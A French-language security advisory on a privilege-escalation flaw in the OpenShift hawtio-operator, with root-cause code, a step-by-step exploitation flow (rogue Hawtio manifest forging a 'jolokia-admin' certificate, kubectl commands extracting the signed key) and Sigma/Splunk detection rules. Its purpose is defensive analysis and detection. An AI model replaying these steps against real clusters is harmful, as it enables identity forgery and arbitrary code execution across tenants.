CVE-2026-78234 : usurpation d'identité et compromission de cluster via la clé de signature service CA dans hawtio-operator
SCORE DE MENACE HERMES & FORGERIE CRYPTOGRAPHIQUE DE CLUSTER
Cible :Cluster OpenShift / Kubernetes — Opérateur Hawtio & Architecture mTLS Service CA Le standard CVSS v3.1 classe la CVE-2026-78234 au niveau critique 9.9 avec modification du périmètre (S:C) et privilèges faibles requis (PR:L). Le score Hermes Threat Score de 95 (EXTRÊME) reflète la rupture immédiate de l'isolation multi-locataire dans les architectures cloud-native. Les profils par défaut d'OpenShift agrègent automatiquement les droits sur la ressource Hawtio dans les rôles d'espace de noms 'edit' et 'admin'. Tout conteneur compromis ou développeur disposant d'un projet local peut utiliser l'opérateur comme un oracle cryptographique pour forger des certificats mTLS valides pour n'importe quelle identité de service, neutralisant le cloisonnement réseau.
SÉVÉRITÉ AGENTIQUE HASS & DÉTOURNEMENT DE L'ORACLE DE L'OPÉRATEUR
Cible :Automatisation des opérateurs cloud-native, autorité de certification Service CA et authentification mutuelle Du point de vue des infrastructures autonomes, les opérateurs Kubernetes agissent comme des agents hautement privilégiés réconciliant en continu l'état désiré du cluster. Lorsqu'un opérateur détient des clés cryptographiques transversales mais délègue la configuration des paramètres aux locataires sans validation stricte des sujets (Subject CN), il devient un oracle de signature vulnérable. Des agents logiciels subvertis au sein d'un cluster peuvent exploiter cet oracle pour s'arroger des droits cluster-admin sans déclencher les alertes d'audit traditionnelles.
1. Contexte technique & surface d’attaque
Section intitulée « 1. Contexte technique & surface d’attaque »Dans Red Hat OpenShift, l’opérateur Service CA génère et injecte automatiquement des certificats pour les services internes et signe les certificats clients utilisés pour l’authentification entre composants. Les agents Jolokia (port 8778), les métriques Prometheus et diverses API internes accordent une confiance aveugle aux certificats émis par cette autorité interne.
┌────────────────────────────────────────────────────────────────────────────────────────┐│ CLUSTER KUBERNETES / OPENSHIFT │├──────────────────────────────────────┬─────────────────────────────────────────────────┤│ ESPACE DE NOMS LOCATAIRE (dev-team) │ ESPACE DE NOMS OPÉRATEUR (openshift-operators) ││ │ ││ [Pod / Compte de service attaquant] │ [Pod Hawtio Operator] ││ - Rôle 'edit' dans dev-team │ - ClusterRole avec get/list secrets ││ - Crée la ressource Hawtio │ - Lit 'signing-key' dans openshift-service-ca ││ spec.auth.clientCert.commonName: │ ││ "system:serviceaccount:..." ───┼────────────────────────────────────────┐ ││ │ │ ││ │ Contrôleur de l'opérateur Hawtio │ ││ │ 1. Récupère la clé privée Service CA │ ││ │ 2. Signe le certificat x509 demandé ───┘ ││ │ 3. Dépose le secret dans le namespace ││ │ ││ [Secret du certificat client forgé] <┼─────────────────────────────────────────────────┤│ L'attaquant extrait tls.crt & key │ SERVICES CIBLES (au niveau cluster) ││ │ - Agents JVM Jolokia (Port 8778) ││ │ - Endpoints d'administration internes ││ │ ││ Connexion mTLS authentifiée ─────────┼─────────────────────────────────────────────────>│ -> USURPATION D'IDENTITÉ VALIDÉE │ -> EXÉCUTION DE CODE JAVA ARBITRAIRE (JMX) │└──────────────────────────────────────┴─────────────────────────────────────────────────┘| Paramètre | Détail technique | Impact opérationnel |
|---|---|---|
| Identifiant CVE | CVE-2026-78234 | Avis Red Hat RHSA-2026:66120 / Bugzilla 2524894 |
| Classe de vulnérabilité | Validation de certificat incorrecte (CWE-295), Contrôle d’accès défaillant (CWE-284) | Usurpation d’identité et élévation de privilèges cluster-admin |
| Composant vulnérable | Contrôleur de réconciliation de hawtio-operator (pkg/controller/hawtio) | Chaîne automatisée d’émission cryptographique de certificats |
| Vecteurs de déclenchement | Déploiement d’une Custom Resource Hawtio avec commonName arbitraire | Rôle RBAC edit ou admin sur un espace de noms |
| Authentification requise | Faible (PR:L) — simple développeur ou pod dans un projet local | Élévation transversale entre espaces de noms |
| Impact | Exécution de commandes Java arbitraires via Jolokia JMX, usurpation mTLS | Compromission intégrale des charges utiles et des nœuds du cluster |
| Versions affectées | < 4.0.1 (Opérateur) / < 4.4.1 (HawtIO) | Tout cluster exploitant l’opérateur Hawtio OpenShift |
| Version corrective | Hawtio Operator 4.0.1 / HawtIO 4.4.1 | Registre officiel Red Hat et OperatorHub |
2. Analyse de la cause racine & mécanique de l’exploit
Section intitulée « 2. Analyse de la cause racine & mécanique de l’exploit »La vulnérabilité résulte de l’imbrication de trois facteurs : un rôle d’opérateur doté de privilèges excessifs sur les secrets, l’absence de validation du champ commonName, et l’agrégation automatique des droits RBAC aux développeurs.
Facteur 1 : privilège de lecture de la clé privée racine
Section intitulée « Facteur 1 : privilège de lecture de la clé privée racine »L’opérateur Hawtio recevait un ClusterRole lui donnant accès aux secrets de tout le cluster :
apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRolemetadata: name: hawtio-operatorrules: - apiGroups: [""] resources: ["secrets"] verbs: ["get", "list", "create", "update", "watch"]Grâce à cette règle, l’opérateur pouvait récupérer le secret signing-key situé dans openshift-service-ca, contenant la clé privée de l’autorité de certification interne du cluster.
Facteur 2 : l’opérateur agissant comme Oracle de signature aveugle
Section intitulée « Facteur 2 : l’opérateur agissant comme Oracle de signature aveugle »Dans le code de réconciliation du contrôleur, le champ commonName spécifié par l’utilisateur était injecté directement dans la demande de certificat :
// Logique vulnérable dans le contrôleur hawtio-operatorfunc (r *ReconcileHawtio) reconcileClientCertificate(hawtio *hawtioov1alpha1.Hawtio) error { caSecret, err := r.client.CoreV1().Secrets("openshift-service-ca").Get(context.TODO(), "signing-key", metav1.GetOptions{}) if err != nil { return err }
caCert, caKey := parseCASecret(caSecret)
// ANOMALIE : Le CommonName provient directement de la spécification sans validation de périmètre clientCN := hawtio.Spec.Auth.ClientCert.CommonName if clientCN == "" { clientCN = fmt.Sprintf("%s.%s.hawtio", hawtio.Name, hawtio.Namespace) }
// Signature du certificat avec la clé privée racine Service CA certBytes, keyBytes, err := generateSignedCert(clientCN, caCert, caKey)
// Sauvegarde du certificat et de la clé privée dans le secret du locataire return r.createOrUpdateSecret(hawtio.Namespace, hawtio.Name+"-client-cert", certBytes, keyBytes)}En renseignant un commonName correspondant à une identité de gestion privilégiée (par exemple jolokia-admin), l’attaquant recevait un certificat signé par la véritable autorité du cluster, déposé directement dans son espace de noms.
Facteur 3 : agrégation automatique des rôles RBAC
Section intitulée « Facteur 3 : agrégation automatique des rôles RBAC »La CRD Hawtio portait l’annotation rbac.authorization.k8s.io/aggregate-to-edit: "true". Par conséquent, tout utilisateur ou compte de service disposant du rôle standard edit dans n’importe quel projet d’entreprise possédait automatiquement le droit de créer ces ressources.
3. Flux d’exploitation pas à pas
Section intitulée « 3. Flux d’exploitation pas à pas »L’attaque se déroule en plusieurs étapes simples via l’API Kubernetes :
- Vérification des droits RBAC : l’attaquant vérifie ses permissions dans son espace de noms assigné :
Fenêtre de terminal kubectl auth can-i create hawtios -n dev-team# Réponse : yes - Rédaction de la ressource adverse : l’attaquant définit une ressource Hawtio spécifiant le CN d’une identité d’administration Jolokia :
apiVersion: hawt.io/v1alpha1kind: Hawtiometadata:name: rogue-hawtionamespace: dev-teamspec:type: namespaceauth:clientCert:commonName: "jolokia-admin"
- Application du manifeste : l’attaquant soumet le fichier via
kubectl apply -f rogue-hawtio.yaml. - Signature par l’opérateur : l’opérateur Hawtio intercepte l’événement, lit la clé de signature Service CA dans
openshift-service-ca/signing-key, signe le certificat pourCN=jolokia-adminet le stocke dans le secretdev-team/rogue-hawtio-client-cert. - Extraction des clés cryptographiques : l’attaquant récupère le certificat et sa clé privée :
Fenêtre de terminal kubectl get secret rogue-hawtio-client-cert -n dev-team -o jsonpath='{.data.tls\.crt}' | base64 -d > client.crtkubectl get secret rogue-hawtio-client-cert -n dev-team -o jsonpath='{.data.tls\.key}' | base64 -d > client.key - Mouvement latéral mTLS : muni de ce certificat approuvé, l’attaquant interroge directement les endpoints d’administration Jolokia (
https://<ip-pod>:8778/jolokia/) à travers le cluster, exécutant du code arbitraire via les MBeans JMX exposés.
4. Investigation forensique & télémétrie
Section intitulée « 4. Investigation forensique & télémétrie »L’investigation de la CVE-2026-78234 se concentre sur les journaux d’audit de l’API Kubernetes, l’analyse d’accès aux secrets et la surveillance des sessions mTLS sur les agents Jolokia.
Analyse des journaux d’audit Kubernetes
Section intitulée « Analyse des journaux d’audit Kubernetes »- Création de custom resources hawtio : scrutez les journaux d’audit pour repérer la création de ressources
hawtios.hawt.iocomportant uncommonNamene suivant pas la convention d’espace de noms<nom>.<espace-de-noms>.hawtio:{"verb": "create","user": { "username": "dev-user@societe.fr" },"objectRef": { "resource": "hawtios", "namespace": "dev-team", "name": "rogue-hawtio" },"requestObject": {"spec": { "auth": { "clientCert": { "commonName": "jolokia-admin" } } }}} - Accès au secret service CA : identifiez les lectures du secret
signing-keydansopenshift-service-cacorrélées temporellement à des créations de ressources Hawtio dans des espaces de noms applicatifs.
Télémétrie des charges utiles & réseau
Section intitulée « Télémétrie des charges utiles & réseau »- Journaux des agents jolokia : analysez les journaux des conteneurs hébergeant des runtimes Java (Camel, Quarkus, Spring Boot) pour détecter des connexions mTLS validées provenant de sous-réseaux ou de pods non autorisés.
- Invocations JMX suspectes : surveillez les appels JMX inhabituels tels que
Runtime.exec()ou le chargement dynamique de MBeans distants (javax.management.loading.MLet).
5. Ingénierie de détection
Section intitulée « 5. Ingénierie de détection »title: CommonName suspect lors de la création d'une ressource Hawtioid: e8417823-7823-4c92-9112-78234cve2026status: experimentaldescription: Détecte la création ou la modification de ressources Hawtio avec des CommonNames non conformes, signalant une exploitation de la CVE-2026-78234.references: - https://nvd.nist.gov/vuln/detail/CVE-2026-78234 - https://access.redhat.com/errata/RHSA-2026:66120author: Hermes Codex Cyber Threat Intelligencedate: 2026-09-21logsource: category: application product: kubernetes service: auditdetection: selection_api: objectRef.apiGroup: 'hawt.io' objectRef.resource: 'hawtios' verb: - 'create' - 'update' - 'patch' selection_suspicious_cn: requestObject.spec.auth.clientCert.commonName|contains: - 'admin' - 'system:' - 'root' - 'jolokia' - 'cluster' condition: selection_api and selection_suspicious_cnfalsepositives: - Déploiements d'administration légitimes configurant expressément une console de supervision globalelevel: criticaltags: - attack.privilege_escalation - attack.t1548 - cve.2026-78234-- Splunk: Détection de création de CR Hawtio avec un CN anomalique dans les logs d'audit K8sindex=k8s_audit sourcetype="kube:audit"| spath path="objectRef.resource" output=resource| spath path="objectRef.apiGroup" output=apiGroup| spath path="requestObject.spec.auth.clientCert.commonName" output=requested_cn| spath path="user.username" output=request_user| spath path="objectRef.namespace" output=target_namespace| search resource="hawtios" apiGroup="hawt.io" requested_cn=*| eval expected_prefix = target_namespace + "."| where NOT like(requested_cn, expected_prefix + "%")| table _time, request_user, target_namespace, requested_cn, responseStatus.code
-- Elasticsearch: Détection de lecture du secret Service CA corrélé avec HawtioobjectRef.namespace:"openshift-service-ca" AND objectRef.name:"signing-key" AND user.username:*hawtio-operator*6. Atténuation & durcissement
Section intitulée « 6. Atténuation & durcissement »Remédiation immédiate
Section intitulée « Remédiation immédiate »- Mise à niveau de l’opérateur : déployer immédiatement
hawtio-operatoren version 4.0.1 ou ultérieure et les images HawtIO 4.4.1+ (avis RHSA-2026:66120). La version corrigée ne lit plus directement la clé Service CA et s’appuie sur l’API Kubernetes CSR avec validation stricte du signataire. - Suppression de l’agrégation RBAC : supprimer sans délai l’agrégation automatique des droits de la CRD vers les rôles
editetadmin:Fenêtre de terminal kubectl annotate crd hawtios.hawt.io rbac.authorization.k8s.io/aggregate-to-edit-kubectl annotate crd hawtios.hawt.io rbac.authorization.k8s.io/aggregate-to-admin-
Durcissement architectural
Section intitulée « Durcissement architectural »- Politiques d’admission : déployer une politique Kyverno ou OPA Gatekeeper imposant que tout
spec.auth.clientCert.commonNamecorresponde obligatoirement au schéma<nom>.<namespace>.hawtio. - Segmentation des PKI : ne jamais partager une autorité de certification de niveau infrastructure pour des consoles d’administration applicatives. Consulter notre étude de référence : Exploitation des infrastructures PKI et certificats ADCS.
7. Maillage interne & références stratégiques
Section intitulée « 7. Maillage interne & références stratégiques »- Avis de sécurité Red Hat : RHSA-2026:66120
- Red Hat Bugzilla : ticket Bug 2524894
- NIST National Vulnerability Database : détail CVE-2026-78234
- CIRCL CVE Tracking : fiche CVE-2026-78234